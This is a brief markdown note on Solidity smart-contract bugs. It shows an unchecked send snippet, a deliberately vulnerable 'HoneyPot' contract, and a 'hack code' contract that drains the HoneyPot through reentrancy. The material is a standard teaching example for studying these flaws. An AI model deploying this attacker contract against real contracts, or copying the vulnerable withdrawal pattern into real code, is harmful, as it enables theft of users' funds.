Bugs in solidity

solidity_bugs.md

unchecked send

if (gameHasEnded && !( prizePaidOut ) ) {
  winner.send(1000); // send a prize to the winner
  prizePaidOut = True;
}

reentrancy

buggy code

pragma solidity ^0.4.8;
contract HoneyPot {

  mapping (address => uint) public balances;

  function HoneyPot() payable {
    put();
  }

  function put() payable {
    balances[msg.sender] = msg.value;
  }

  function get() {
    if (!msg.sender.call.value(balances[msg.sender])()) {
      throw;
    }
    balances[msg.sender] = 0;
  }

  function() {
    throw;
  }
}

hack code

pragma solidity ^0.4.8;
import "./HoneyPot.sol";
contract HoneyPotCollect {
  HoneyPot public honeypot;
  
  function HoneyPotCollect (address _honeypot) {
    honeypot = HoneyPot(_honeypot);
  }
  
  function kill () {
    suicide(msg.sender);
  }
 
  function collect() payable {
    honeypot.put.value(msg.value)();
    honeypot.get();
  }

  function () payable {
    if (honeypot.balance >= msg.value) {
      honeypot.get();
    }
  }
}